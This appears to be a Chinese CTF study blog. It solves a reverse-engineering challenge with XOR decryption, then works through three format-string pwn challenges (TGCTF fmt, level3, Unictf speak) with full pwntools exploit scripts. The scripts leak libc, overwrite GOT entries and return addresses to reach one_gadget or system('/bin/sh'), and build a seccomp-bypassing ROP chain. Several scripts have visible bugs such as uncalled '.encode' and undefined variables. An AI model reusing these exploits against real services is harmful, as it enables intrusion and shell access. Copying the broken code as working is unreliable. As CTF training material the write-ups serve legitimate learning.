开始网鼎杯的jocker学习

1

修复sp

2

3

4

可是encrypt函数还是进不去

5

这是个smc动调解密函数,进入函数后从text:00401500的定义头道endp进行u(undefine)再在定义头p重定义函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
void __cdecl __noreturn encrypt(char *a1)
{
int v1[19]; // [esp+1Ch] [ebp-6Ch] BYREF
int v2; // [esp+68h] [ebp-20h]
int i; // [esp+6Ch] [ebp-1Ch]

v2 = 1;
qmemcpy(v1, &unk_403040, sizeof(v1));
for ( i = 0; i <= 18; ++i )
{
if ( (char)(a1[i] ^ Buffer[i]) != v1[i] )
{
puts("wrong ~");
v2 = 0;
exit(0);
}
}
puts("come here");
}

得到加密函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
# 预定义的 unk_403040 数组
unk_403040 = [
0x0E, 0x0D, 0x09,
0x06, 0x13,
0x05, 0x58, 0x56,
0x3E, 0x06,
0x0C, 0x3C, 0x1F,
0x57, 0x14,
0x6B, 0x57, 0x59,
0x0D
]

# Buffer 字符串
buffer_str = 'hahahaha_do_you_find_me?'
# 解密过程
decrypted = ''
for i in range(len(unk_403040)):
# 异或操作
decrypted_char = chr(unk_403040[i] ^ ord(buffer_str[i]))
decrypted += decrypted_char

print("Decrypted string:", decrypted)
#Decrypted string: flag{d07abccf8a410c

得到了一半flag,我们刚刚分析的时候有个finally的函数进去看看

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
int __cdecl finally(char *a1)
{
unsigned int v1; // eax
__time32_t *Time; // [esp+0h] [ebp-28h]
char v4[9]; // [esp+13h] [ebp-15h] BYREF
int v5; // [esp+1Ch] [ebp-Ch]

strcpy(v4, "%tp&:");
v1 = time(0);
srand(v1);
v5 = rand() % 100;
v4[6] = 0;
*(_WORD *)&v4[7] = 0;
if ( (v4[(unsigned __int8)v4[5]] != a1[(unsigned __int8)v4[5]]) == v5 )
return puts((const char *)Time);
else
return puts("I hide the last part, you will not succeed!!!");
}

根据最后一个字符 ‘}’ 猜测

1
2
3
4
5
6
7
8
9
10
11
12
13
encrypted = "%tp&:"
known_plaintext = '}'
known_ciphertext = encrypted[-1] # ':'

# 计算异或密钥
key = ord(known_ciphertext) ^ ord(known_plaintext)
print(f"找到密钥: {key}")

# 解密整个字符串
decrypted = ''.join(chr(ord(c) ^ key) for c in encrypted)
print(f"解密后的字符串: {decrypted}")
#找到密钥: 71
#解密后的字符串: b37a}
1
flag{d07abccf8a410cb37a}

进行格式化字符串专题的加强,先写一个题目,再重温一下知识点进行总结一下。

TGCTF fmt

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
int __fastcall main(int argc, const char **argv, const char **envp)
{
char buf[88]; // [rsp+0h] [rbp-60h] BYREF
unsigned __int64 v5; // [rsp+58h] [rbp-8h]

v5 = __readfsqword(0x28u);
setbuf(stdin, 0LL);
setbuf(stdout, 0LL);
setbuf(stderr, 0LL);
puts("Welcome TGCTF!");
printf("your gift %p\n", buf); //泄露出
puts("please tell me your name");
read(0, buf, 0x30uLL); //没有栈溢出
if ( magic == 1131796 )
{
printf(buf); //存在格式化字符串漏洞
magic = 0;
}
return 0;
}

只有一个格式化字符串漏洞,也只有一个读入。先去查看一下保护

1
2
3
4
5
6
7
8
9
10
(myenv) linkpwn@linkpwn-VMware-Virtual-Platform:~$ checksec pwn
[*] '/home/linkpwn/pwn'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
SHSTK: Enabled
IBT: Enabled
Stripped: No

没有开启pie,canary开启了,但是我们没用到栈溢出,所以我们不用管canary

因此这个题目的攻击思路就是,先利用格式化字符串泄露libc的基地址,然后再利用one_gadget.。

首先我们利用格式化字符串泄露libc的地址,同时也要利用格式化字符串写入one_gadget。

要利用两次格式化字符串的话,我们就不能让函数执行到 magic = 0;,所以我们必须把printf_ret的地址覆盖为read的地址,方便下次

的读入。

泄露出libc_start_main+xxx的地址可以计算出libc的基地址。

再用one_get工具查出execve(/bin/sh)的偏移,在用格式化字符串漏洞将返回地址写成execve(/bin/sh)的地址就可以getshell了

现在开始正式开始攻击

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
from pwn import *

# ================ 配置与初始化 ================
context(log_level='debug', arch='amd64', os='linux')
io = process('./pwn') # 本地调试
#io = remote('ip', port) # 远程连接

elf = ELF('./pwn')
libc = ELF('libc.so.6')

# ================ 泄露栈地址 ================
io.recvuntil(b'0x')
stack_addr = int(io.recv(12), 16)
info(f"Stack address: {hex(stack_addr)}")

# ================ 第一次格式化字符串攻击:泄露 libc 地址 ================
payload = b"%4669c%11$hn" # 控制写入低 2 字节
payload += b"%19$p" # 泄露 __libc_start_main 地址
payload = payload.ljust(0x28, b'\x00')
payload += p64(stack_addr - 8) # 写入到 stack_addr - 8 的位置

io.send(payload)

# 接收泄露的 libc 地址
io.recvuntil(b'0x')
leaked_libc = int(io.recv(12), 16)
libc_base = leaked_libc - 122 - libc.sym['__libc_start_main']
libc.address = libc_base
info(f"Libc base: {hex(libc_base)}")

# ================ 准备 one_gadget 并进行第二次格式化字符串写入 ================
one_gadgets = [0xE3AFE, 0xE3B01, 0xE3B04]
one_gadget = libc.address + one_gadgets[1]

# 构造格式化字符串写入 gadget 地址(分两次写入两个 16 位)
low = one_gadget & 0xFFFF
high = (one_gadget >> 16) & 0xFFFF

payload = f"%{low}c%10$hn".encode()
payload += f"%{(high - low) & 0xFFFF}c%11$hn".encode()
payload = payload.ljust(0x20, b'\x00')

# 栈上写入两个地址:分别写入 gadget 地址的低位和高位
payload += p64(stack_addr + 0x68) # 返回地址所在栈偏移
payload += p64(stack_addr + 0x68 + 2) # +2 写入高位部分

io.send(payload)

# ================ 获取 Flag ================
io.sendline(b'cat f*')
io.interactive()
1
2
3
4
payload = b"%4669c%11$hn"          #hex(4669) = 0x123d -->read地址的后两字节
payload += b"%19$p" #泄露libc_start_main+地址
payload = payload.ljust(0x28, b'\x00')
payload += p64(stack_addr - 8) #p64(stack_addr - 8)---->printf的返回地址

1

1

可以看到0x7fffffffdd08 = 0x7fffffffdd10 - 0x08从而定位printf_ret的地址。

然后我们可以看到libc_start_main+122的地址在栈上的位置;

0x7fffffffdd78 - 0x7fffffffdd10 = 104,104/8 = 13,此时我们用%19$p就可以泄露出libc_start_main+122的地址,再减去122就可以得到

libc_start_main地址,再用libc_start_main减去偏移就可以得到基地地址了。

然后再%4669c%11$hn进行两字节的写入。将printf_ret的地址改成read的地址。

用one_gdaget命令查execve(/bin/sh)的偏移

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
linkpwn@linkpwn-VMware-Virtual-Platform:~$ one_gadget libc.so.6
0xe3afe execve("/bin/sh", r15, r12)
constraints:
[r15] == NULL || r15 == NULL || r15 is a valid argv
[r12] == NULL || r12 == NULL || r12 is a valid envp

0xe3b01 execve("/bin/sh", r15, rdx)
constraints:
[r15] == NULL || r15 == NULL || r15 is a valid argv
[rdx] == NULL || rdx == NULL || rdx is a valid envp

0xe3b04 execve("/bin/sh", rsi, rdx)
constraints:
[rsi] == NULL || rsi == NULL || rsi is a valid argv
[rdx] == NULL || rdx == NULL || rdx is a valid envp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
one_gadgets = [0xE3AFE, 0xE3B01, 0xE3B04]
one_gadget = libc.address + one_gadgets[1]

# 构造格式化字符串写入 gadget 地址(分两次写入两个 16 位)
low = one_gadget & 0xFFFF #低16位的两个字节
high = (one_gadget >> 16) & 0xFFFF #高16位的两个字节

payload = f"%{low}c%10$hn".encode() #把低16位的两个字节写入偏移为10的位置
payload += f"%{(high - low) & 0xFFFF}c%11$hn".encode() #把高16位的两个字节写入偏移为11的位置
payload = payload.ljust(0x20, b'\x00')

# 栈上写入两个地址:分别写入 gadget 地址的低位和高位
payload += p64(stack_addr + 0x68) # 返回地址所在栈偏移 偏移为10的位置
payload += p64(stack_addr + 0x68 + 2) # +2 写入高位部分 偏移为11的位置

注释:11是怎么算出来的

1
2
3
4
5
6
linkpwn@linkpwn-VMware-Virtual-Platform:~$ ./pwn
Welcome TGCTF!
your gift 0x7ffeec1ae9c0
please tell me your name
aaaa %p %p %p %p %p %p %p %p %p
aaaa 0x7ffeec1ae9c0 0x30 0x7c484851ba61 0x18 (nil) 0x2070252061616161 0x7025207025207025 0x2520702520702520 0xa70252070252070

偏移是6,0x28/8 = 5,5 + 6 =11;

level3

写完这题就来总结一下格式化字符串的原理。

1
2
3
4
5
6
7
8
9
10
11
12
int __fastcall main(int argc, const char **argv, const char **envp)
{
char buf[264]; // [rsp+0h] [rbp-110h] BYREF
unsigned __int64 v5; // [rsp+108h] [rbp-8h]

v5 = __readfsqword(0x28u);
((void (__fastcall *)(int, const char **, const char **))init)(argc, argv, envp);
puts("-----");
read(0, buf, 0x110uLL);
printf(buf); //只有唯一的一个格式化字符串的漏洞,所以我们要构造一个循环
return 0;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
.text:000000000040121B ; __unwind {
.text:000000000040121B endbr64
.text:000000000040121F push rbp
.text:0000000000401220 mov rbp, rsp
.text:0000000000401223 sub rsp, 110h
.text:000000000040122A mov rax, fs:28h
.text:0000000000401233 mov [rbp+var_8], rax
.text:0000000000401237 xor eax, eax
.text:0000000000401239 mov eax, 0
.text:000000000040123E call init
.text:0000000000401243 lea rax, s ; "-----"
.text:000000000040124A mov rdi, rax ; s
.text:000000000040124D call _puts
.text:0000000000401252 lea rax, [rbp+buf]
.text:0000000000401259 mov edx, 110h ; nbytes
.text:000000000040125E mov rsi, rax ; buf
.text:0000000000401261 mov edi, 0 ; fd
.text:0000000000401266 call _read
.text:000000000040126B lea rax, [rbp+buf]
.text:0000000000401272 mov rdi, rax ; format
.text:0000000000401275 mov eax, 0
.text:000000000040127A call _printf
.text:000000000040127F mov eax, 0
.text:0000000000401284 mov rdx, [rbp+var_8]
.text:0000000000401288 sub rdx, fs:28h
.text:0000000000401291 jz short locret_401298
.text:0000000000401293 call ___stack_chk_fail

我们看到了call ___stack_chk_fail,这个是关键。

为什么会有这个呢? —–>因为开启了canary

1
2
3
4
5
6
7
8
9
Arch:       amd64-64-little
RELRO: No RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
SHSTK: Enabled
IBT: Enabled
Stripped: No
Debuginfo: Yes

查看保护,开启了canary。

利用格式化字符串的任意位置的篡改,我们就可以将 ___stack_chk_fail篡改为main的地址,这样就会进入无限循环

我们先去找到main和___stack_chk_fail的got地址,在篡改的同时还可以利用printf_got泄露printf的地址。

1
2
3
4
5
6
7
8
9
10
11
12
13
main_addr = 0x40121b
stack_chk_fail_got = 0x0403320
printf_got = 0x403328
payload = b'%' + str(0x1b).encode + b'%c22%$hhn'
payload += b'%' + str(0x100 - 0x1b)+(0x12).encode + b'%c23%$hhn'
payload += b'%' + str(0x100 - 0x12)+(0x40).encode + b'%c24%$hhn'
payload += b'---b%25$s' #方便接收
payload = payload.ljust(0x80,b'a') #0x80/8 = 16 + 6(偏移见下图) = 22
payload += p64(stack_chk_fail_got) # %$hhn是单字节写入 stack_chk_fail_got是%c22%$hhn写入的地址
payload += p64(stack_chk_fail_got + 0x1) # stack_chk_fail_got + 0x1是%c23%$hhn写入的地址
payload += p64(stack_chk_fail_got + 0x2) # stack_chk_fail_got + 0x2是%c24%$hhn写入的地址
payload += p64(printf_got)
payload = payload.ljust(0x100,b'a')
1
2
3
4
-----
aaaa %p %p %p %p %p %p %p %p
aaaa 0x7ffcf57781d0 0x110 0x7a8a8171ba61 0x5 0x7a8a81904380 0x2070252061616161 0x7025207025207025 0x2520702520702520
#偏移为6

执行这个payload就进入无限循环了,并且泄漏量printf的地址。

根据print的地址,计算出libc的基地址。

此时我就要再次利用格式化字符串,将printf_got的地址改成system的地址,在发送/bin/sh就能获取shell。

1
2
3
4
5
6
io.recvuntil(b"---b")  
printf_addr = u64(io.recvn(6)+b'\x00'*2) #接收printf的地址
success(f"printf_addr ->{hex(printf_addr)}")
libc_base = printf_addr - libc.sym['printf'] #计算基地址
system = libc_base + libc.sym['system'] #算出system的地址
success(f"libc_base ->{hex(libc_base)}")
1
2
3
4
5
6
7
8
payload = b"%" + str(system & 0xff).encode() + b"c%22$hhn" #最低字节写入偏移为的位置
payload += b"%" + str((0x100 - (system & 0xff)) + ((system >> 8) & 0xff)).encode() + b"c%23$hhn" #同理去高一位的字节
payload += b"%" + str((0x100 - (((system >> 8) & 0xff))) + (((system >> 16) & 0xff))).encode() + b"c%24$hhn" #同理
payload = payload.ljust(0x80,b'a')
payload += p64(printf_got) #c%22$hhn写入的位置
payload += p64(printf_got + 0x1) #c%23$hhn写入的位置
payload += p64(printf_got + 0x2) #c%24$hhn写入的位置
payload = payload.ljust(0x110,b"a")
1
io.sendline(b'/bin/sh')

完整exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
from pwn import *

context(log_level='debug', arch='amd64', os='linux')
io = process('./pwn')
#io = remote('ip', port) # 远程连接

elf = ELF('./pwn')
libc = ELF('libc.so.6')

main_addr = 0x40121b
stack_chk_fail_got = 0x0403320
printf_got = 0x403328
payload = b'%' + str(0x1b).encode + b'%c22%$hhn'
payload += b'%' + str(0x100 - 0x1b)+(0x12).encode + b'%c23%$hhn'
payload += b'%' + str(0x100 - 0x12)+(0x40).encode + b'%c24%$hhn'
payload += b'---b%25$s' #方便接收
payload = payload.ljust(0x80,b'a') #0x80/8 = 16 + 6(偏移见下图) = 22
payload += p64(stack_chk_fail_got) # %$hhn是单字节写入 stack_chk_fail_got是%c22%$hhn写入的地址
payload += p64(stack_chk_fail_got + 0x1) # stack_chk_fail_got + 0x1是%c23%$hhn写入的地址
payload += p64(stack_chk_fail_got + 0x2) # stack_chk_fail_got + 0x2是%c24%$hhn写入的地址
payload += p64(printf_got)
payload = payload.ljust(0x100,b'a')

io.recvuntil(b"---b")
printf_addr = u64(io.recvn(6)+b'\x00'*2) #接收printf的地址
success(f"printf_addr ->{hex(printf_addr)}")
libc_base = printf_addr - libc.sym['printf'] #计算基地址
system = libc_base + libc.sym['system'] #算出system的地址
success(f"libc_base ->{hex(libc_base)}")

payload = b"%" + str(system & 0xff).encode() + b"c%22$hhn" #最低字节写入偏移为的位置
payload += b"%" + str((0x100 - (system & 0xff)) + ((system >> 8) & 0xff)).encode() + b"c%23$hhn" #同理去高一位的字节
payload += b"%" + str((0x100 - (((system >> 8) & 0xff))) + (((system >> 16) & 0xff))).encode() + b"c%24$hhn" #同理
payload = payload.ljust(0x80,b'a')
payload += p64(printf_got) #c%22$hhn写入的位置
payload += p64(printf_got + 0x1) #c%23$hhn写入的位置
payload += p64(printf_got + 0x2) #c%24$hhn写入的位置
payload = payload.ljust(0x110,b"a")

io.sendline(b'/bin/sh')
io.interactive()

Unictf speak

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
int __fastcall main(int argc, const char **argv, const char **envp)
{
signed __int64 v3; // rax
char s[264]; // [rsp+0h] [rbp-110h] BYREF
unsigned __int64 v6; // [rsp+108h] [rbp-8h]

v6 = __readfsqword(0x28u);
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(_bss_start, 0LL, 2, 0LL);
setvbuf(stderr, 0LL, 2, 0LL);
init_seccomp();
register_name();
printf(welcome);
memset(s, 0, 0x100uLL);
read(0, s, 0x100uLL);
printf(s);
v3 = sys_exit(0);
return 0;
}
1
2
3
4
5
6
7
8
9
10
11
__int64 init_seccomp()
{
__int64 v1; // [rsp+8h] [rbp-8h]

v1 = seccomp_init(2147418112LL);
strcpy(welcome, "attempt to speak something:\n");
seccomp_rule_add(v1, 0LL, 59LL, 0LL);
seccomp_rule_add(v1, 0LL, 322LL, 0LL);
seccomp_load(v1);
return seccomp_release(v1);
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
unsigned __int64 register_name()
{
char s[56]; // [rsp+0h] [rbp-40h] BYREF
unsigned __int64 v2; // [rsp+38h] [rbp-8h]

v2 = __readfsqword(0x28u);
memset(s, 0, 0x30uLL);
printf("Input your name: ");
read(0, s, 0x30uLL);
s[48] = 0;
strcpy(name, s);
fflush(_bss_start);
return v2 - __readfsqword(0x28u);
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
.bss:0000000000004020 _bss            segment align_32 public 'BSS' use64
.bss:0000000000004020 assume cs:_bss
.bss:0000000000004020 ;org 4020h
.bss:0000000000004020 assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing
.bss:0000000000004020 public __bss_start
.bss:0000000000004020 ; FILE *_bss_start
.bss:0000000000004020 __bss_start dq ? ; DATA XREF: LOAD:0000000000000568↑o
.bss:0000000000004020 ; register_name+75↑r ...
.bss:0000000000004020 ; Alternative name is 'stdout'
.bss:0000000000004020 ; stdout@GLIBC_2.2.5
.bss:0000000000004020 ; Copy of shared data
.bss:0000000000004028 align 10h
.bss:0000000000004030 public stdin@GLIBC_2_2_5
.bss:0000000000004030 ; FILE *stdin
.bss:0000000000004030 stdin@GLIBC_2_2_5 dq ? ; DATA XREF: LOAD:0000000000000598↑o
.bss:0000000000004030 ; main+1E↑r
.bss:0000000000004030 ; Alternative name is 'stdin'
.bss:0000000000004030 ; Copy of shared data
.bss:0000000000004038 align 20h
.bss:0000000000004040 public stderr@GLIBC_2_2_5
.bss:0000000000004040 ; FILE *stderr
.bss:0000000000004040 stderr@GLIBC_2_2_5 dq ? ; DATA XREF: LOAD:00000000000005B0↑o
.bss:0000000000004040 ; main+5A↑r
.bss:0000000000004040 ; Alternative name is 'stderr'
.bss:0000000000004040 ; Copy of shared data
.bss:0000000000004048 completed_0 db ? ; DATA XREF: __do_global_dtors_aux+4↑r
.bss:0000000000004048 ; __do_global_dtors_aux+2C↑w
.bss:0000000000004049 align 20h
.bss:0000000000004060 public name
.bss:0000000000004060 ; char name[32]
.bss:0000000000004060 name db 20h dup(?) ; DATA XREF: register_name+66↑o
.bss:0000000000004080 public welcome
.bss:0000000000004080 ; char welcome[]
.bss:0000000000004080 welcome dq ? ; DATA XREF: init_seccomp+2E↑w
.bss:0000000000004080 ; main+8C↑o
.bss:0000000000004088 qword_4088 dq ? ; DATA XREF: init_seccomp+35↑w
.bss:0000000000004088 ; init_seccomp+50↑w
.bss:0000000000004090 db ? ;
.bss:0000000000004091 db ? ;
.bss:0000000000004092 db ? ;
.bss:0000000000004093 db ? ;
.bss:0000000000004094 db ? ;

分析题目可以知道 printf(welcome); printf(s);这两个漏洞点。怎么利用呢

printf(welcome)用来泄露信息, printf(s)用来修改返回地址。

修改返回地址的时候注意有 v3 = sys_exit(0);,所以main的返回地址是不会执行的,我们要去该printf的返回地址。

printf的返回地址在哪里呢,执行格式格式化字符串漏洞的时候,call printf的时候会执行push printf的返回地址此时rsp里储存的就是

printfd的返回地址。

然后这个题目没有rdi,只有rdx_leave_ret,所以我们要利用栈迁移的知识。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
from pwn import *

context(arch='amd64',log_level='debug')

#p=remote('nc1.ctfplus.cn',23202)

p = process('./pwn', aslr=False)
e=ELF('./pwn')

libc=ELF('./libc.so.6.1')

py=b'a'*0x20 + b'%9$p%41$p%45$p'
p.sendafter(b'Input your name: ',py)

p.recvuntil(b'0x')
ebp=int(p.recv(12),16)-(0x7fffffffe298-0x7fffffffe1c0+0x10) #*ebp = rbp
p.recvuntil(b'0x')
base=int(p.recv(12),16)-(0x7ffff7c2a1ca-0x7ffff7c00000)
p.recvuntil(b'0x')
main=int(p.recv(12),16)

print("[+] ebp leak :", hex(rbp))
print("[+] libc base :", hex(base))
print("[+] main addr :", hex(main))

bss=main+0x04000-0x13dd+0x700
ret=main-0x13dd+0x14ed
rdi=base+0x000000000010f78b
rsi=base+0x0000000000110a7d
rdx_leave_ret=base+0x00000000000981ad
open_addr=base+libc.sym['open']
read_addr=base+libc.sym['read']
puts_addr=base+libc.sym['puts']

ret=rbp+8 #printf的返回地址,有sys_exit(0);无法执行到main的返回地址。
s1=0xec #leave ret;
s2=(ebp+0x40-0xec)&0xffff #0xec + s2= (ebp+0x40)
payload = f'%{s1}c%10$hhn%{s2}c%11$hn'.encode().ljust(0x20,b'\x00')+p64(ret)+p64(ebp) #修改地址
payload += p64(ebp + 0x80)
payload += p64(rdi) + p64(flag) + p64(rsi) + p64(0) + p64(open_addr)
payload += p64(rdx_leave_ret) + p64(0x30) + p64(ebp - 0x20)
payload += p64(rdi) + p64(3) + p64(rsi) + p64(bss) + p64(read_addr)
payload += p64(rdi) + p64(bss) + p64(puts_addr) + b'flag\x00'
io.send(payload)


#gdb.attach(p)
#pause()
p.interactive()

先写exp,再一步一步解释。由于我本地的环境和远程的不同,所以我就用本地的数据来讲解远程的这些数据是具体怎么算的。

我看有的师傅调试的是和远程的一样的,不知道怎么搞的,希望可以教教我。

远程环境是b’%9$p%41$p%45$p’

我的本地环境是b’%45$p%41$p%43$p’。

我们看stack的情况

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
pwndbg> stack 50
00:0000│ rsi rsp 0x7fffffffda70 ◂— 'aaaaaaaa\n'
01:0008│ 0x7fffffffda78 ◂— 0xa /* '\n' */
02:0010│ 0x7fffffffda80 ◂— 0x0
... ↓
20:0100│ 0x7fffffffdb70 ◂— 0x1000
21:0108│ 0x7fffffffdb78 ◂— 0xd7e8bb9986d14c00
22:0110│ rbp 0x7fffffffdb80 ◂— 0x1
23:0118│ 0x7fffffffdb88 —▸ 0x7ffff7c29d90 (__libc_start_call_main+128) ◂— mov edi, eax
24:0120│ 0x7fffffffdb90 ◂— 0x0
25:0128│ 0x7fffffffdb98 —▸ 0x5555555553dd (main) ◂— endbr64
26:0130│ 0x7fffffffdba0 ◂— 0x1ffffdc80
27:0138│ 0x7fffffffdba8 —▸ 0x7fffffffdc98 —▸ 0x7fffffffdf34 ◂— '/home/linkpwn/pwn'
28:0140│ 0x7fffffffdbb0 ◂— 0x0
29:0148│ 0x7fffffffdbb8 ◂— 0xe48eb1770986b38c
2a:0150│ 0x7fffffffdbc0 —▸ 0x7fffffffdc98 —▸ 0x7fffffffdf34 ◂— '/home/linkpwn/pwn'
2b:0158│ 0x7fffffffdbc8 —▸ 0x5555555553dd (main) ◂— endbr64
2c:0160│ 0x7fffffffdbd0 —▸ 0x555555557d60 (__do_global_dtors_aux_fini_array_entry) —▸ 0x555555555240 (__do_global_dtors_aux) ◂— endbr64
2d:0168│ 0x7fffffffdbd8 —▸ 0x7ffff7ffd040 (_rtld_global) —▸ 0x7ffff7ffe2e0 —▸ 0x555555554000 ◂— 0x10102464c457f
2e:0170│ 0x7fffffffdbe0 ◂— 0x1b714e88bea4b38c
2f:0178│ 0x7fffffffdbe8 ◂— 0x1b715ef2330cb38c
30:0180│ 0x7fffffffdbf0 ◂— 0x7fff00000000
31:0188│ 0x7fffffffdbf8 ◂— 0x0

rbp的偏移 = 0x110/8 + 6= 40 (6的偏移可以更具aaaaaaa %p %p ….)这种方式算出来。

我们可以看到:

rbp + 8的地方储存的是__libc_start_call_main+128。泄露这个可以算出libc。

rbp + 24的地方0x5555555553dd 是main我们可以通过这个算出pie_base。

rbp + 40的地方0x7fffffffdc98是rsp=泄漏值-(0x7fffffffdc98-0x7fffffffda70)我们可以通过这个算出rsp。

  1. rbp=int(p.recv(12),16)-(0x7fffffffdc98-0x7fffffffda70+0x10)

    这是怎么算的,用pwndbg调试一下

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    pwndbg> x/40gx 0x7fffffffda50
    0x7fffffffda50: 0x00007fffffffdc00 0xd7e8bb9986d14c00
    0x7fffffffda60: 0x00007fffffffdb80 0x00005555555554af
    0x7fffffffda70: 0x6161616161616161 0x000000000000000a
    0x7fffffffda80: 0x0000000000000000 0x0000000000000000
    0x7fffffffda90: 0x0000000000000000 0x0000000000000000
    0x7fffffffdaa0: 0x0000000000000000 0x0000000000000000
    0x7fffffffdab0: 0x0000000000000000 0x0000000000000000
    0x7fffffffdac0: 0x0000000000000000 0x0000000000000000
    0x7fffffffdad0: 0x0000000000000000 0x0000000000000000
    0x7fffffffdae0: 0x0000000000000000 0x0000000000000000
    0x7fffffffdaf0: 0x0000000000000000 0x0000000000000000
    0x7fffffffdb00: 0x0000000000000000 0x0000000000000000
    0x7fffffffdb10: 0x0000000000000000 0x0000000000000000
    0x7fffffffdb20: 0x0000000000000000 0x0000000000000000
    0x7fffffffdb30: 0x0000000000000000 0x0000000000000000
    0x7fffffffdb40: 0x0000000000000000 0x0000000000000000
    0x7fffffffdb50: 0x0000000000000000 0x0000000000000000
    0x7fffffffdb60: 0x0000000000000000 0x0000000000000000
    0x7fffffffdb70: 0x0000000000001000 0xd7e8bb9986d14c00
    0x7fffffffdb80: 0x0000000000000001 0x00007ffff7c29d90

    0x7fffffffda60里面储存的是rbp的地址,也就是说泄露地址-0x10的地方储存的是rbp的地址。

  2. base=int(p.recv(12),16)-(0x7ffff7c29d90- 0x7ffff7c00000)

    这个是怎么算的,我们也用pwndbg调试一下

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    pwndbg> vmmap
    LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
    0x555555554000 0x555555555000 r--p 1000 0 /home/linkpwn/pwn
    0x555555555000 0x555555556000 r-xp 1000 1000 /home/linkpwn/pwn
    0x555555556000 0x555555557000 r--p 1000 2000 /home/linkpwn/pwn
    0x555555557000 0x555555558000 r--p 1000 2000 /home/linkpwn/pwn
    0x555555558000 0x555555559000 rw-p 1000 3000 /home/linkpwn/pwn
    0x555555559000 0x55555557a000 rw-p 21000 0 [heap]
    0x7ffff7c00000 0x7ffff7c28000 r--p 28000 0 /usr/lib/x86_64-linux-gnu/libc.so.6
    0x7ffff7c28000 0x7ffff7dbd000 r-xp 195000 28000 /usr/lib/x86_64-linux-gnu/libc.so.6
    0x7ffff7dbd000 0x7ffff7e15000 r--p 58000 1bd000 /usr/lib/x86_64-linux-gnu/libc.so.6
    0x7ffff7e15000 0x7ffff7e16000 ---p 1000 215000 /usr/lib/x86_64-linux-gnu/libc.so.6
    0x7ffff7e16000 0x7ffff7e1a000 r--p 4000 215000 /usr/lib/x86_64-linux-gnu/libc.so.6
    0x7ffff7e1a000 0x7ffff7e1c000 rw-p 2000 219000 /usr/lib/x86_64-linux-gnu/libc.so.6
    0x7ffff7e1c000 0x7ffff7e29000 rw-p d000 0
    0x7ffff7f8f000 0x7ffff7f92000 rw-p 3000 0
    0x7ffff7f92000 0x7ffff7f94000 r--p 2000 0 /usr/lib/x86_64-linux-gnu/libseccomp.so.2.5.3
    0x7ffff7f94000 0x7ffff7fa2000 r-xp e000 2000 /usr/lib/x86_64-linux-gnu/libseccomp.so.2.5.3
    0x7ffff7fa2000 0x7ffff7faf000 r--p d000 10000 /usr/lib/x86_64-linux-gnu/libseccomp.so.2.5.3
    0x7ffff7faf000 0x7ffff7fb0000 ---p 1000 1d000 /usr/lib/x86_64-linux-gnu/libseccomp.so.2.5.3
    0x7ffff7fb0000 0x7ffff7fb1000 r--p 1000 1d000 /usr/lib/x86_64-linux-gnu/libseccomp.so.2.5.3
    0x7ffff7fb1000 0x7ffff7fb2000 rw-p 1000 1e000 /usr/lib/x86_64-linux-gnu/libseccomp.so.2.5.3
    0x7ffff7fbb000 0x7ffff7fbd000 rw-p 2000 0
    0x7ffff7fbd000 0x7ffff7fc1000 r--p 4000 0 [vvar]
    0x7ffff7fc1000 0x7ffff7fc3000 r-xp 2000 0 [vdso]
    0x7ffff7fc3000 0x7ffff7fc5000 r--p 2000 0 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
    0x7ffff7fc5000 0x7ffff7fef000 r-xp 2a000 2000 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
    0x7ffff7fef000 0x7ffff7ffa000 r--p b000 2c000 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
    0x7ffff7ffb000 0x7ffff7ffd000 r--p 2000 37000 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
    0x7ffff7ffd000 0x7ffff7fff000 rw-p 2000 39000 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2

    vmmap找到此时的libc的起始地址,用泄漏值计算就可以得到偏移。

泄露信息的部分就解释完了。在来解释一下第二个payload。

1
2
3
4
5
6
payload = f'%{s1}c%10$hhn%{s2}c%11$hn'.encode().ljust(0x20,b'\x00')+p64(ret)+p64(ebp) #修改地址
payload += p64(ebp + 0x80)
payload += p64(rdi) + p64(flag) + p64(rsi) + p64(0) + p64(open_addr)
payload += p64(rdx_leave_ret) + p64(0x30) + p64(ebp - 0x20)
payload += p64(rdi) + p64(3) + p64(rsi) + p64(bss) + p64(read_addr)
payload += p64(rdi) + p64(bss) + p64(puts_addr) + b'flag\x00'

10和11怎么算出来的:

0x20 /8 + 6 = 10;s1对应ret(格式化字符串漏洞将ret的后一个字节写入s1),11同理。

payload的执行过程

